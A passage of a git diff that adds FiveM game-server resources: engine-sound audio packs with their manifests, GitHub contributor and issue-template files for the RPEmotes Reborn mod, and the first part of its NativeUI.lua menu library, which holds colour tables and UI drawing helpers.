"sfx/**/*.awc" +} + +data_file "AUDIO_SYNTHDATA" "audioconfig/lg125mnsrybently_amp.dat" +data_file "AUDIO_GAMEDATA" "audioconfig/lg125mnsrybently_game.dat" +data_file "AUDIO_SOUNDDATA" "audioconfig/lg125mnsrybently_sounds.dat" +data_file "AUDIO_WAVEPACK" "sfx/dlc_lg125mnsrybently" \ No newline at end of file diff --git a/resources/lg125mnsrybently/sfx/dlc_lg125mnsrybently/lg125mnsrybently.awc b/resources/lg125mnsrybently/sfx/dlc_lg125mnsrybently/lg125mnsrybently.awc new file mode 100644 index 000000000..c6e7fc224 Binary files /dev/null and b/resources/lg125mnsrybently/sfx/dlc_lg125mnsrybently/lg125mnsrybently.awc differ diff --git a/resources/lg125mnsrybently/sfx/dlc_lg125mnsrybently/lg125mnsrybently_npc.awc b/resources/lg125mnsrybently/sfx/dlc_lg125mnsrybently/lg125mnsrybently_npc.awc new file mode 100644 index 000000000..a7d552544 Binary files /dev/null and b/resources/lg125mnsrybently/sfx/dlc_lg125mnsrybently/lg125mnsrybently_npc.awc differ diff --git a/resources/lg44nascarv8/audioconfig/lg44nascarv8_amp.dat10.rel b/resources/lg44nascarv8/audioconfig/lg44nascarv8_amp.dat10.rel new file mode 100644 index 000000000..a2372aed8 Binary files /dev/null and b/resources/lg44nascarv8/audioconfig/lg44nascarv8_amp.dat10.rel differ diff --git a/resources/lg44nascarv8/audioconfig/lg44nascarv8_game.dat151.rel b/resources/lg44nascarv8/audioconfig/lg44nascarv8_game.dat151.rel new file mode 100644 index 000000000..ebab2cb34 Binary files /dev/null and b/resources/lg44nascarv8/audioconfig/lg44nascarv8_game.dat151.rel differ diff --git a/resources/lg44nascarv8/audioconfig/lg44nascarv8_sounds.dat54.rel b/resources/lg44nascarv8/audioconfig/lg44nascarv8_sounds.dat54.rel new file mode 100644 index 000000000..bbe388419 Binary files /dev/null and b/resources/lg44nascarv8/audioconfig/lg44nascarv8_sounds.dat54.rel differ diff --git a/resources/lg44nascarv8/fxmanifest.lua b/resources/lg44nascarv8/fxmanifest.lua new file mode 100644 index 000000000..397a536e5 --- /dev/null +++ b/resources/lg44nascarv8/fxmanifest.lua @@ -0,0 +1,14 @@ +fx_version "adamant" +game "gta5" + +files { + "audioconfig/*.dat151.rel", + "audioconfig/*.dat54.rel", + "audioconfig/*.dat10.rel", + "sfx/**/*.awc" +} + +data_file "AUDIO_SYNTHDATA" "audioconfig/lg44nascarv8_amp.dat" +data_file "AUDIO_GAMEDATA" "audioconfig/lg44nascarv8_game.dat" +data_file "AUDIO_SOUNDDATA" "audioconfig/lg44nascarv8_sounds.dat" +data_file "AUDIO_WAVEPACK" "sfx/dlc_lg44nascarv8" \ No newline at end of file diff --git a/resources/lg44nascarv8/sfx/dlc_lg44nascarv8/lg44nascarv8.awc b/resources/lg44nascarv8/sfx/dlc_lg44nascarv8/lg44nascarv8.awc new file mode 100644 index 000000000..703ea6736 Binary files /dev/null and b/resources/lg44nascarv8/sfx/dlc_lg44nascarv8/lg44nascarv8.awc differ diff --git a/resources/lg44nascarv8/sfx/dlc_lg44nascarv8/lg44nascarv8_npc.awc b/resources/lg44nascarv8/sfx/dlc_lg44nascarv8/lg44nascarv8_npc.awc new file mode 100644 index 000000000..c73dd03f8 Binary files /dev/null and b/resources/lg44nascarv8/sfx/dlc_lg44nascarv8/lg44nascarv8_npc.awc differ diff --git a/resources/rpemotesreborn1.6.0/.github/CONTRIBUTING.md b/resources/rpemotesreborn1.6.0/.github/CONTRIBUTING.md new file mode 100644 index 000000000..b0505fa8b --- /dev/null +++ b/resources/rpemotesreborn1.6.0/.github/CONTRIBUTING.md @@ -0,0 +1,47 @@ +# RPEmotes - Contributing Guidelines + +Thank you for considering contributing to our project! We value the involvement of every community member and appreciate your help in making this project better. To ensure a positive and inclusive experience for everyone, we have established these guidelines, which we expect all contributors to follow. + +## Code of Conduct + +Before contributing, please review our [Code of Conduct](CODE_OF_CONDUCT.md) to understand the expected behavior and our commitment to maintaining a respectful and inclusive environment. + +## How to Contribute + +1. Fork the repository and create your branch from the `master` branch. +2. Ensure that your code follows our coding conventions and style guidelines. +3. Make your changes, including tests if applicable, and ensure that the code compiles successfully. +4. Commit your changes and provide a clear and descriptive commit message. +5. Push your branch to your forked repository. +6. Submit a pull request to the `master` branch of the main repository. +7. Be responsive to any feedback or questions that may arise during the review process. + +## Communication + +- If you have questions or need clarification, feel free to open an issue in the repository. +- Use respectful and inclusive language in all communications. +- Be open to feedback and be constructive in your responses. + +## Reporting Issues + +- If you encounter any issues or have suggestions for improvement, please check the issue tracker to see if it has already been reported. +- If the issue is new, feel free to open a new issue, providing a clear and descriptive title and description. +- Include as much relevant information as possible to help us understand and address the issue more efficiently. +- Be respectful to others when commenting on existing issues. + +## Pull Request Guidelines + +- Before submitting a pull request, make sure that your changes address the problem or feature request effectively. +- Provide a clear and descriptive title for your pull request. +- Include a summary of the changes made and any additional information that may be helpful for the reviewer. +- Ensure that your code is well-documented and tested, when applicable. +- Be open to feedback and be responsive to any requests for changes or improvements. + +## Attribution + +These Contributing Guidelines are adapted from the [Open Source Guide](https://opensource.guide/), available at [https://opensource.guide/starting-a-project/#writing-contributor-guidelines](https://opensource.guide/starting-a-project/#writing-contributor-guidelines). + +## Acknowledgment + +We appreciate the time and effort you put into contributing to this project. Your contributions help make this project better for everyone involved. Thank you for being a part of our community! + diff --git a/resources/rpemotesreborn1.6.0/.github/FUNDING.yml b/resources/rpemotesreborn1.6.0/.github/FUNDING.yml new file mode 100644 index 000000000..da888e686 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/.github/FUNDING.yml @@ -0,0 +1,14 @@ +# These are supported funding model platforms + +github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] +patreon: # Replace with a single Patreon username +open_collective: # Replace with a single Open Collective username +ko_fi: popcornrp +tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel +community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry +liberapay: # Replace with a single Liberapay username +issuehunt: # Replace with a single IssueHunt username +lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry +polar: # Replace with a single Polar username +buy_me_a_coffee: # Replace with a single Buy Me a Coffee username +custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] diff --git a/resources/rpemotesreborn1.6.0/.github/ISSUE_TEMPLATE/bug_report.md b/resources/rpemotesreborn1.6.0/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 000000000..c180ddefd --- /dev/null +++ b/resources/rpemotesreborn1.6.0/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,24 @@ +--- +name: Bug Report +about: Create a report to help us improve +title: '' +labels: '' +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behaviour: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Expected behaviour** +A clear and concise description of what you expected to happen. + +**Additional context** +Add any other context about the problem here. diff --git a/resources/rpemotesreborn1.6.0/.github/ISSUE_TEMPLATE/feature_request.md b/resources/rpemotesreborn1.6.0/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 000000000..ee32ac272 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,16 @@ +--- +name: Feature Request +about: Looking for a feature to be added? Use this template! +title: '' +labels: '' +assignees: '' +--- + +**Describe the Feature** +A clear and concise description of what the feature is and how it will function and improve remotes-reborn. + +**Example/Mock up** +An image or mockup of how it would look for function. + +**Additional context** +Add any other context that might be useful. diff --git a/resources/rpemotesreborn1.6.0/NativeUI.lua b/resources/rpemotesreborn1.6.0/NativeUI.lua new file mode 100644 index 000000000..c17a95a63 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/NativeUI.lua @@ -0,0 +1,3930 @@ +UIResRectangle = setmetatable({}, UIResRectangle) +UIResRectangle.__index = UIResRectangle +UIResRectangle.__call = function() return "Rectangle" end + +UIResText = setmetatable({}, UIResText) +UIResText.__index = UIResText +UIResText.__call = function() return "Text" end + +Sprite = setmetatable({}, Sprite) +Sprite.__index = Sprite +Sprite.__call = function() return "Sprite" end + +UIMenuItem = setmetatable({}, UIMenuItem) +UIMenuItem.__index = UIMenuItem +UIMenuItem.__call = function() return "UIMenuItem", "UIMenuItem" end + +UIMenuCheckboxItem = setmetatable({}, UIMenuCheckboxItem) +UIMenuCheckboxItem.__index = UIMenuCheckboxItem +UIMenuCheckboxItem.__call = function() return "UIMenuItem", "UIMenuCheckboxItem" end + +UIMenuListItem = setmetatable({}, UIMenuListItem) +UIMenuListItem.__index = UIMenuListItem +UIMenuListItem.__call = function() return "UIMenuItem", "UIMenuListItem" end + +UIMenuSliderItem = setmetatable({}, UIMenuSliderItem) +UIMenuSliderItem.__index = UIMenuSliderItem +UIMenuSliderItem.__call = function() return "UIMenuItem", "UIMenuSliderItem" end + +UIMenuColouredItem = setmetatable({}, UIMenuColouredItem) +UIMenuColouredItem.__index = UIMenuColouredItem +UIMenuColouredItem.__call = function() return "UIMenuItem", "UIMenuColouredItem" end + +UIMenuProgressItem = setmetatable({}, UIMenuProgressItem) +UIMenuProgressItem.__index = UIMenuProgressItem +UIMenuProgressItem.__call = function() return "UIMenuItem", "UIMenuProgressItem" end + +UIMenuHeritageWindow = setmetatable({}, UIMenuHeritageWindow) +UIMenuHeritageWindow.__index = UIMenuHeritageWindow +UIMenuHeritageWindow.__call = function() return "UIMenuWindow", "UIMenuHeritageWindow" end + +UIMenuGridPanel = setmetatable({}, UIMenuGridPanel) +UIMenuGridPanel.__index = UIMenuGridPanel +UIMenuGridPanel.__call = function() return "UIMenuPanel", "UIMenuGridPanel" end + +UIMenuColourPanel = setmetatable({}, UIMenuColourPanel) +UIMenuColourPanel.__index = UIMenuColourPanel +UIMenuColourPanel.__call = function() return "UIMenuPanel", "UIMenuColourPanel" end + +UIMenuPercentagePanel = setmetatable({}, UIMenuPercentagePanel) +UIMenuPercentagePanel.__index = UIMenuPercentagePanel +UIMenuPercentagePanel.__call = function() return "UIMenuPanel", "UIMenuPercentagePanel" end + +UIMenu = setmetatable({}, UIMenu) +UIMenu.__index = UIMenu +UIMenu.__call = function() return "UIMenu" end + +MenuPool = setmetatable({}, MenuPool) +MenuPool.__index = MenuPool + +NativeUI = {} + +CharacterMap = { [' '] = 6, ['!'] = 6, ['"'] = 6, ['#'] = 11, ['$'] = 10, ['%'] = 17, ['&'] = 13, ['\\'] = 4, ['('] = 6, [')'] = 6, ['*'] = 7, ['+'] = 10, [','] = 4, ['-'] = 6, ['.'] = 4, ['/'] = 7, ['0'] = 12, ['1'] = 7, ['2'] = 11, ['3'] = 11, ['4'] = 11, ['5'] = 11, ['6'] = 12, ['7'] = 10, ['8'] = 11, ['9'] = 11, [':'] = 5, [';'] = 4, ['<'] = 9, ['='] = 9, ['>'] = 9, ['?'] = 10, ['@'] = 15, ['A'] = 12, ['B'] = 13, ['C'] = 14, ['D'] = 14, ['E'] = 12, ['F'] = 12, ['G'] = 15, ['H'] = 14, ['I'] = 5, ['J'] = 11, ['K'] = 13, ['L'] = 11, ['M'] = 16, ['N'] = 14, ['O'] = 16, ['P'] = 12, ['Q'] = 15, ['R'] = 13, ['S'] = 12, ['T'] = 11, ['U'] = 13, ['V'] = 12, ['W'] = 18, ['X'] = 11, ['Y'] = 11, ['Z'] = 12, ['['] = 6, [']'] = 6, ['^'] = 9, ['_'] = 18, ['`'] = 8, ['a'] = 11, ['b'] = 12, ['c'] = 11, ['d'] = 12, ['e'] = 12, ['f'] = 5, ['g'] = 13, ['h'] = 11, ['i'] = 4, ['j'] = 4, ['k'] = 10, ['l'] = 4, ['m'] = 18, ['n'] = 11, ['o'] = 12, ['p'] = 12, ['q'] = 12, ['r'] = 7, ['s'] = 9, ['t'] = 5, ['u'] = 11, ['v'] = 10, ['w'] = 14, ['x'] = 9, ['y'] = 10, ['z'] = 9, ['{'] = 6, ['|'] = 3, ['}'] = 6 } + +BadgeStyle = { None = 0, BronzeMedal = 1, GoldMedal = 2, SilverMedal = 3, Alert = 4, Crown = 5, Ammo = 6, Armour = 7, Barber = 8, Clothes = 9, Franklin = 10, Bike = 11, Car = 12, Gun = 13, Heart = 14, Makeup = 15, Mask = 16, Michael = 17, Star = 18, Tattoo = 19, Trevor = 20, Lock = 21, Tick = 22 } + +BadgeTexture = { + [0] = function() return "" end, + [1] = function() return "mp_medal_bronze" end, + [2] = function() return "mp_medal_gold" end, + [3] = function() return "medal_silver" end, + [4] = function() return "mp_alerttriangle" end, + [5] = function() return "mp_hostcrown" end, + [6] = function(Selected) if Selected then return "shop_ammo_icon_b" else return "shop_ammo_icon_a" end end, + [7] = function(Selected) if Selected then return "shop_armour_icon_b" else return "shop_armour_icon_a" end end, + [8] = function(Selected) if Selected then return "shop_barber_icon_b" else return "shop_barber_icon_a" end end, + [9] = function(Selected) if Selected then return "shop_clothing_icon_b" else return "shop_clothing_icon_a" end end, + [10] = function(Selected) if Selected then return "shop_franklin_icon_b" else return "shop_franklin_icon_a" end end, + [11] = function(Selected) if Selected then return "shop_garage_bike_icon_b" else return "shop_garage_bike_icon_a" end end, + [12] = function(Selected) if Selected then return "shop_garage_icon_b" else return "shop_garage_icon_a" end end, + [13] = function(Selected) if Selected then return "shop_gunclub_icon_b" else return "shop_gunclub_icon_a" end end, + [14] = function(Selected) if Selected then return "shop_health_icon_b" else return "shop_health_icon_a" end end, + [15] = function(Selected) if Selected then return "shop_makeup_icon_b" else return "shop_makeup_icon_a" end end, + [16] = function(Selected) if Selected then return "shop_mask_icon_b" else return "shop_mask_icon_a" end end, + [17] = function(Selected) if Selected then return "shop_michael_icon_b" else return "shop_michael_icon_a" end end, + [18] = function() return "shop_new_star" end, + [19] = function(Selected) if Selected then return "shop_tattoos_icon_b" else return "shop_tattoos_icon_a" end end, + [20] = function(Selected) if Selected then return "shop_trevor_icon_b" else return "shop_trevor_icon_a" end end, + [21] = function() return "shop_lock" end, + [22] = function() return "shop_tick_icon" end, +} + +BadgeDictionary = { + [0] = function(Selected) + if Selected then + return "commonmenu" + else + return "commonmenu" + end + end, +} + +BadgeColour = { + [5] = function(Selected) if Selected then return 0, 0, 0, 255 else return 255, 255, 255, 255 end end, + [21] = function(Selected) if Selected then return 0, 0, 0, 255 else return 255, 255, 255, 255 end end, + [22] = function(Selected) if Selected then return 0, 0, 0, 255 else return 255, 255, 255, 255 end end, +} + +Colours = { + PureWhite = { 255, 255, 255, 255 }, + White = { 240, 240, 240, 255 }, + Black = { 0, 0, 0, 255 }, + Grey = { 155, 155, 155, 255 }, + GreyLight = { 205, 205, 205, 255 }, + GreyDark = { 77, 77, 77, 255 }, + Red = { 224, 50, 50, 255 }, + RedLight = { 240, 153, 153, 255 }, + RedDark = { 112, 25, 25, 255 }, + Blue = { 93, 182, 229, 255 }, + BlueLight = { 174, 219, 242, 255 }, + BlueDark = { 47, 92, 115, 255 }, + Yellow = { 240, 200, 80, 255 }, + YellowLight = { 254, 235, 169, 255 }, + YellowDark = { 126, 107, 41, 255 }, + Orange = { 255, 133, 85, 255 }, + OrangeLight = { 255, 194, 170, 255 }, + OrangeDark = { 127, 66, 42, 255 }, + Green = { 114, 204, 114, 255 }, + GreenLight = { 185, 230, 185, 255 }, + GreenDark = { 57, 102, 57, 255 }, + Purple = { 132, 102, 226, 255 }, + PurpleLight = { 192, 179, 239, 255 }, + PurpleDark = { 67, 57, 111, 255 }, + Pink = { 203, 54, 148, 255 }, + RadarHealth = { 53, 154, 71, 255 }, + RadarArmour = { 93, 182, 229, 255 }, + RadarDamage = { 235, 36, 39, 255 }, + NetPlayer1 = { 194, 80, 80, 255 }, + NetPlayer2 = { 156, 110, 175, 255 }, + NetPlayer3 = { 255, 123, 196, 255 }, + NetPlayer4 = { 247, 159, 123, 255 }, + NetPlayer5 = { 178, 144, 132, 255 }, + NetPlayer6 = { 141, 206, 167, 255 }, + NetPlayer7 = { 113, 169, 175, 255 }, + NetPlayer8 = { 211, 209, 231, 255 }, + NetPlayer9 = { 144, 127, 153, 255 }, + NetPlayer10 = { 106, 196, 191, 255 }, + NetPlayer11 = { 214, 196, 153, 255 }, + NetPlayer12 = { 234, 142, 80, 255 }, + NetPlayer13 = { 152, 203, 234, 255 }, + NetPlayer14 = { 178, 98, 135, 255 }, + NetPlayer15 = { 144, 142, 122, 255 }, + NetPlayer16 = { 166, 117, 94, 255 }, + NetPlayer17 = { 175, 168, 168, 255 }, + NetPlayer18 = { 232, 142, 155, 255 }, + NetPlayer19 = { 187, 214, 91, 255 }, + NetPlayer20 = { 12, 123, 86, 255 }, + NetPlayer21 = { 123, 196, 255, 255 }, + NetPlayer22 = { 171, 60, 230, 255 }, + NetPlayer23 = { 206, 169, 13, 255 }, + NetPlayer24 = { 71, 99, 173, 255 }, + NetPlayer25 = { 42, 166, 185, 255 }, + NetPlayer26 = { 186, 157, 125, 255 }, + NetPlayer27 = { 201, 225, 255, 255 }, + NetPlayer28 = { 240, 240, 150, 255 }, + NetPlayer29 = { 237, 140, 161, 255 }, + NetPlayer30 = { 249, 138, 138, 255 }, + NetPlayer31 = { 252, 239, 166, 255 }, + NetPlayer32 = { 240, 240, 240, 255 }, + SimpleBlipDefault = { 159, 201, 166, 255 }, + MenuBlue = { 140, 140, 140, 255 }, + MenuGreyLight = { 140, 140, 140, 255 }, + MenuBlueExtraDark = { 40, 40, 40, 255 }, + MenuYellow = { 240, 160, 0, 255 }, + MenuYellowDark = { 240, 160, 0, 255 }, + MenuGreen = { 240, 160, 0, 255 }, + MenuGrey = { 140, 140, 140, 255 }, + MenuGreyDark = { 60, 60, 60, 255 }, + MenuHighlight = { 30, 30, 30, 255 }, + MenuStandard = { 140, 140, 140, 255 }, + MenuDimmed = { 75, 75, 75, 255 }, + MenuExtraDimmed = { 50, 50, 50, 255 }, + BriefTitle = { 95, 95, 95, 255 }, + MidGreyMp = { 100, 100, 100, 255 }, + NetPlayer1Dark = { 93, 39, 39, 255 }, + NetPlayer2Dark = { 77, 55, 89, 255 }, + NetPlayer3Dark = { 124, 62, 99, 255 }, + NetPlayer4Dark = { 120, 80, 80, 255 }, + NetPlayer5Dark = { 87, 72, 66, 255 }, + NetPlayer6Dark = { 74, 103, 83, 255 }, + NetPlayer7Dark = { 60, 85, 88, 255 }, + NetPlayer8Dark = { 105, 105, 64, 255 }, + NetPlayer9Dark = { 72, 63, 76, 255 }, + NetPlayer10Dark = { 53, 98, 95, 255 }, + NetPlayer11Dark = { 107, 98, 76, 255 }, + NetPlayer12Dark = { 117, 71, 40, 255 }, + NetPlayer13Dark = { 76, 101, 117, 255 }, + NetPlayer14Dark = { 65, 35, 47, 255 }, + NetPlayer15Dark = { 72, 71, 61, 255 }, + NetPlayer16Dark = { 85, 58, 47, 255 }, + NetPlayer17Dark = { 87, 84, 84, 255 }, + NetPlayer18Dark = { 116, 71, 77, 255 }, + NetPlayer19Dark = { 93, 107, 45, 255 }, + NetPlayer20Dark = { 6, 61, 43, 255 }, + NetPlayer21Dark = { 61, 98, 127, 255 }, + NetPlayer22Dark = { 85, 30, 115, 255 }, + NetPlayer23Dark = { 103, 84, 6, 255 }, + NetPlayer24Dark = { 35, 49, 86, 255 }, + NetPlayer25Dark = { 21, 83, 92, 255 }, + NetPlayer26Dark = { 93, 98, 62, 255 }, + NetPlayer27Dark = { 100, 112, 127, 255 }, + NetPlayer28Dark = { 120, 120, 75, 255 }, + NetPlayer29Dark = { 152, 76, 93, 255 }, + NetPlayer30Dark = { 124, 69, 69, 255 }, + NetPlayer31Dark = { 10, 43, 50, 255 }, + NetPlayer32Dark = { 95, 95, 10, 255 }, + Bronze = { 180, 130, 97, 255 }, + Silver = { 150, 153, 161, 255 }, + Gold = { 214, 181, 99, 255 }, + Platinum = { 166, 221, 190, 255 }, + Gang1 = { 29, 100, 153, 255 }, + Gang2 = { 214, 116, 15, 255 }, + Gang3 = { 135, 125, 142, 255 }, + Gang4 = { 229, 119, 185, 255 }, + SameCrew = { 252, 239, 166, 255 }, + Freemode = { 45, 110, 185, 255 }, + PauseBg = { 0, 0, 0, 255 }, + Friendly = { 93, 182, 229, 255 }, + Enemy = { 194, 80, 80, 255 }, + Location = { 240, 200, 80, 255 }, + Pickup = { 114, 204, 114, 255 }, + PauseSingleplayer = { 114, 204, 114, 255 }, + FreemodeDark = { 22, 55, 92, 255 }, + InactiveMission = { 154, 154, 154, 255 }, + Damage = { 194, 80, 80, 255 }, + PinkLight = { 252, 115, 201, 255 }, + PmMitemHighlight = { 252, 177, 49, 255 }, + ScriptVariable = { 0, 0, 0, 255 }, + Yoga = { 109, 247, 204, 255 }, + Tennis = { 241, 101, 34, 255 }, + Golf = { 214, 189, 97, 255 }, + ShootingRange = { 112, 25, 25, 255 }, + FlightSchool = { 47, 92, 115, 255 }, + NorthBlue = { 93, 182, 229, 255 }, + SocialClub = { 234, 153, 28, 255 }, + PlatformBlue = { 11, 55, 123, 255 }, + PlatformGreen = { 146, 200, 62, 255 }, + PlatformGrey = { 234, 153, 28, 255 }, + FacebookBlue = { 66, 89, 148, 255 }, + IngameBg = { 0, 0, 0, 255 }, + Darts = { 114, 204, 114, 255 }, + Waypoint = { 164, 76, 242, 255 }, + Michael = { 101, 180, 212, 255 }, + Franklin = { 171, 237, 171, 255 }, + Trevor = { 255, 163, 87, 255 }, + GolfP1 = { 240, 240, 240, 255 }, + GolfP2 = { 235, 239, 30, 255 }, + GolfP3 = { 255, 149, 14, 255 }, + GolfP4 = { 246, 60, 161, 255 }, + WaypointLight = { 210, 166, 249, 255 }, + WaypointDark = { 82, 38, 121, 255 }, + PanelLight = { 0, 0, 0, 255 }, + MichaelDark = { 72, 103, 116, 255 }, + FranklinDark = { 85, 118, 85, 255 }, + TrevorDark = { 127, 81, 43, 255 }, + ObjectiveRoute = { 240, 200, 80, 255 }, + PausemapTint = { 0, 0, 0, 255 }, + PauseDeselect = { 100, 100, 100, 255 }, + PmWeaponsPurchasable = { 45, 110, 185, 255 }, + PmWeaponsLocked = { 240, 240, 240, 255 }, + ScreenBg = { 0, 0, 0, 255 }, + Chop = { 224, 50, 50, 255 }, + PausemapTintHalf = { 0, 0, 0, 255 }, + NorthBlueOfficial = { 0, 71, 133, 255 }, + ScriptVariable2 = { 0, 0, 0, 255 }, + H = { 33, 118, 37, 255 }, + HDark = { 37, 102, 40, 255 }, + T = { 234, 153, 28, 255 }, + TDark = { 225, 140, 8, 255 }, + HShard = { 20, 40, 0, 255 }, + ControllerMichael = { 48, 255, 255, 255 }, + ControllerFranklin = { 48, 255, 0, 255 }, + ControllerTrevor = { 176, 80, 0, 255 }, + ControllerChop = { 127, 0, 0, 255 }, + VideoEditorVideo = { 53, 166, 224, 255 }, + VideoEditorAudio = { 162, 79, 157, 255 }, + VideoEditorText = { 104, 192, 141, 255 }, + HbBlue = { 29, 100, 153, 255 }, + HbYellow = { 234, 153, 28, 255 }, + VideoEditorScore = { 240, 160, 1, 255 }, + VideoEditorAudioFadeout = { 59, 34, 57, 255 }, + VideoEditorTextFadeout = { 41, 68, 53, 255 }, + VideoEditorScoreFadeout = { 82, 58, 10, 255 }, + HeistBackground = { 37, 102, 40, 255 }, + VideoEditorAmbient = { 240, 200, 80, 255 }, + VideoEditorAmbientFadeout = { 80, 70, 34, 255 }, + Gb = { 255, 133, 85, 255 }, + G = { 255, 194, 170, 255 }, + B = { 255, 133, 85, 255 }, + LowFlow = { 240, 200, 80, 255 }, + LowFlowDark = { 126, 107, 41, 255 }, + G1 = { 247, 159, 123, 255 }, + G2 = { 226, 134, 187, 255 }, + G3 = { 239, 238, 151, 255 }, + G4 = { 113, 169, 175, 255 }, + G5 = { 160, 140, 193, 255 }, + G6 = { 141, 206, 167, 255 }, + G7 = { 181, 214, 234, 255 }, + G8 = { 178, 144, 132, 255 }, + G9 = { 0, 132, 114, 255 }, + G10 = { 216, 85, 117, 255 }, + G11 = { 30, 100, 152, 255 }, + G12 = { 43, 181, 117, 255 }, + G13 = { 233, 141, 79, 255 }, + G14 = { 137, 210, 215, 255 }, + G15 = { 134, 125, 141, 255 }, + Adversary = { 109, 34, 33, 255 }, + DegenRed = { 255, 0, 0, 255 }, + DegenYellow = { 255, 255, 0, 255 }, + DegenGreen = { 0, 255, 0, 255 }, + DegenCyan = { 0, 255, 255, 255 }, + DegenBlue = { 0, 0, 255, 255 }, + DegenMagenta = { 255, 0, 255, 255 }, + Stunt1 = { 38, 136, 234, 255 }, + Stunt2 = { 224, 50, 50, 255 }, +} + +--[[ + Utils.lua + Utilities +--]] + +function GetResolution() + local W, H = GetActiveScreenResolution() + if (W / H) > 3.5 then + return GetScreenResolution() + else + return W, H + end +end + +function FormatXWYH(Value, Value2) + return Value / 1920, Value2 / 1080 +end + +function math.round(num, numDecimalPlaces) + return tonumber(string.format("%." .. (numDecimalPlaces or 0) .. "f", num)) +end + +function tobool(input) + if input == "true" or tonumber(input) == 1 or input == true then + return true + else + return false + end +end + +function string.split(inputstr, sep) + if sep == nil then + sep = "%s" + end + local t = {}; + i = 1 + for str in string.gmatch(inputstr, "([^" .. sep .. "]+)") do + t[i] = str + i = i + 1 + end + + return t +end + +function string.starts(String, Start) + return string.sub(String, 1, string.len(Start)) == Start +end + +function IsMouseInBounds(X, Y, Width, Height) + local MX, MY = math.round(GetControlNormal(0, 239) * 1920), math.round(GetControlNormal(0, 240) * 1080) + MX, MY = FormatXWYH(MX, MY) + X, Y = FormatXWYH(X, Y) + Width, Height = FormatXWYH(Width, Height) + return (MX >= X and MX <= X + Width) and (MY > Y and MY < Y + Height) +end + +function GetSafeZoneBounds() + local SafeSize = GetSafeZoneSize() + SafeSize = math.round(SafeSize, 2) + SafeSize = (SafeSize * 100) - 90 + SafeSize = 10 - SafeSize + + local W, H = 1920, 1080 + + return { X = math.round(SafeSize * ((W / H) * 5.4)), Y = math.round(SafeSize * 5.4) } +end + +---Returns true if the player is using a controller +---@return boolean +function Controller() + return not IsInputDisabled(2) +end + +--[[ + UIResRectangle.lua + Elements +--]] + +function UIResRectangle.New(X, Y, Width, Height, R, G, B, A) + local _UIResRectangle = { + X = tonumber(X) or 0, + Y = tonumber(Y) or 0, + Width = tonumber(Width) or 0, + Height = tonumber(Height) or 0, + _Colour = { R = tonumber(R) or 255, G = tonumber(G) or 255, B = tonumber(B) or 255, A = tonumber(A) or 255 }, + } + return setmetatable(_UIResRectangle, UIResRectangle) +end + +function UIResRectangle:Position(X, Y) + if tonumber(X) and tonumber(Y) then + self.X = tonumber(X) + self.Y = tonumber(Y) + else + return { X = self.X, Y = self.Y } + end +end + +function UIResRectangle:Size(Width, Height) + if tonumber(Width) and tonumber(Height) then + self.Width = tonumber(Width) + self.Height = tonumber(Height) + else + return { Width = self.Width, Height = self.Height } + end +end + +function UIResRectangle:Colour(R, G, B, A) + if tonumber(R) or tonumber(G) or tonumber(B) or tonumber(A) then + self._Colour.R = tonumber(R) or 255 + self._Colour.B = tonumber(B) or 255 + self._Colour.G = tonumber(G) or 255 + self._Colour.A = tonumber(A) or 255 + else + return self._Colour + end +end + +function UIResRectangle:Draw() + local Position = self:Position() + local Size = self:Size() + Size.Width, Size.Height = FormatXWYH(Size.Width, Size.Height) + Position.X, Position.Y = FormatXWYH(Position.X, Position.Y) + DrawRect(Position.X + Size.Width * 0.5, Position.Y + Size.Height * 0.5, Size.Width, Size.Height, self._Colour.R, self._Colour.G, self._Colour.B, self._Colour.A) +end + +function DrawRectangle(X, Y, Width, Height, R, G, B, A) + X, Y, Width, Height = X or 0, Y or 0, Width or 0, Height or 0 + X, Y = FormatXWYH(X, Y) + Width, Height = FormatXWYH(Width, Height) + DrawRect(X + Width * 0.5, Y + Height * 0.5, Width, Height, tonumber(R) or 255, tonumber(G) or 255, tonumber(B) or 255, tonumber(A) or 255) +end + +--[[ + UIResText.lua + Elements +--]] + +function GetCharacterCount(str) + local characters = 0 + for c in str:gmatch("[%z\1-\127\194-\244][\128-\191]*") do + local a = c:byte(1, -1) + if a ~= nil then + characters = characters + 1 + end + end + return characters +end + +function GetByteCount(str) + local bytes = 0 + + for c in str:gmatch("[%z\1-\127\194-\244][\128-\191]*") do + local a, b, c, d = c:byte(1, -1) + if a ~= nil then + bytes = bytes + 1 + end + if b ~= nil then + bytes = bytes + 1 + end + if c ~= nil then + bytes = bytes + 1 + end + if d ~= nil then + bytes = bytes + 1 + end + end + return bytes +end + +function AddLongStringForAscii(str) + local maxbytelength = 99 + for i = 0, GetCharacterCount(str), 99 do + AddTextComponentSubstringPlayerName(string.sub(str, i, math.min(maxbytelength, GetCharacterCount(str) - i))) --needs changed + end +end + +function AddLongStringForUtf8(str) + local maxbytelength = 99 + local bytecount = GetByteCount(str) + + if bytecount < maxbytelength then + AddTextComponentSubstringPlayerName(str) + return + end + + local startIndex = 0 + + for i = 0, GetCharacterCount(str), 1 do + local length = i - startIndex + if GetByteCount(string.sub(str, startIndex, length)) > maxbytelength then + AddTextComponentSubstringPlayerName(string.sub(str, startIndex, length - 1)) + i = i - 1 + startIndex = startIndex + (length - 1) + end + end + AddTextComponentSubstringPlayerName(string.sub(str, startIndex, GetCharacterCount(str) - startIndex)) +end + +function AddLongString(str) + local bytecount = GetByteCount(str) + if bytecount == GetCharacterCount(str) then + AddLongStringForAscii(str) + else + AddLongStringForUtf8(str) + end +end + +function MeasureStringWidthNoConvert(str, font, scale) + BeginTextCommandWidth("STRING") + AddLongString(str) + SetTextFont(font or 0) + SetTextScale(1.0, scale or 0) + return EndTextCommandGetWidth(true) +end + +function MeasureStringWidth(str, font, scale) + return MeasureStringWidthNoConvert(str, font, scale) * 1920 +end + 